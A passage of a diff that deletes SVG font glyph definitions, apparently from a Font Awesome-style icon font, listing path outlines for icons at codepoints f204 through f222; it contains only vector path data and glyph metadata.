-q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960
-q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_484" unicode="&#xf204;" horiz-adv-x="2048" 
-d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5
-t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5
-t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
-    <glyph glyph-name="_485" unicode="&#xf205;" horiz-adv-x="2048" 
-d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5
-t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
-    <glyph glyph-name="_486" unicode="&#xf206;" horiz-adv-x="2304" 
-d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94
-q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469
-q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400
-q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
-    <glyph glyph-name="_487" unicode="&#xf207;" 
-d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5
-h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
-t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
-    <glyph glyph-name="_488" unicode="&#xf208;" horiz-adv-x="2048" 
-d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327
-q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5
-q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
-    <glyph glyph-name="_489" unicode="&#xf209;" horiz-adv-x="1280" 
-d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q17 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119
-t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5
-t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14
-q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88
-q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5
-t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
-    <glyph glyph-name="_490" unicode="&#xf20a;" horiz-adv-x="2048" 
-d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206
-q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307
-t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14
-t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
-    <glyph glyph-name="_491" unicode="&#xf20b;" 
-d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5
-t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="_492" unicode="&#xf20c;" 
-d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55
-q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410
-q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
-    <glyph glyph-name="_493" unicode="&#xf20d;" 
-d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
-    <glyph glyph-name="_494" unicode="&#xf20e;" horiz-adv-x="2048" 
-d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335
-q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5
-q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360l15 -6l188 199v347l-187 194q-13 -8 -29 -10zM986 1438
-h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13zM552 226h402l64 66
-l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224l213 -225zM1023 946
-l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196l-48 -227l130 227h-82
-zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
-    <glyph glyph-name="f210" unicode="&#xf210;" 
-d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
-    <glyph glyph-name="_496" unicode="&#xf211;" 
-d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384
-q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
-    <glyph glyph-name="f212" unicode="&#xf212;" horiz-adv-x="2048" 
-d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021
-q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25
-q209 0 374 -102q172 107 374 102z" />
-    <glyph glyph-name="_498" unicode="&#xf213;" horiz-adv-x="2048" 
-d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101
-q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284
-q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
-    <glyph glyph-name="_499" unicode="&#xf214;" 
-d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34
-l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114
-v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z
-M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378
-v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51
-h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5
-t-43 -34t-16.5 -53.5z" />
-    <glyph glyph-name="_500" unicode="&#xf215;" horiz-adv-x="2048" 
-d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832
-q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
-    <glyph glyph-name="_501" unicode="&#xf216;" horiz-adv-x="2048" 
-d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126t-103.5 132.5t-108.5 126.5t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5
-t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113
-t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5
-q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
-    <glyph glyph-name="_502" unicode="&#xf217;" horiz-adv-x="1664" 
-d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
-t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
-q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="_503" unicode="&#xf218;" horiz-adv-x="1664" 
-d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
-t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
-q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="_504" unicode="&#xf219;" horiz-adv-x="2048" 
-d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20
-l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
-    <glyph glyph-name="_505" unicode="&#xf21a;" horiz-adv-x="2048" 
-d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
-q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83
-q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314
-v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
-q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
-    <glyph glyph-name="_506" unicode="&#xf21b;" 
-d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14
-t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5
-q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31
-t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
-    <glyph glyph-name="_507" unicode="&#xf21c;" horiz-adv-x="2304" 
-d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5
-t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105
-l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226
-t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
-    <glyph glyph-name="_508" unicode="&#xf21d;" 
-d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12
-q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384
-q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5
-t158.5 -65.5t65.5 -158.5z" />
-    <glyph glyph-name="_509" unicode="&#xf21e;" horiz-adv-x="1792" 
-d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221
-q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124
-t127 -344z" />
-    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="1280" 
-d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292
-q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
-    <glyph glyph-name="_511" unicode="&#xf222;" 
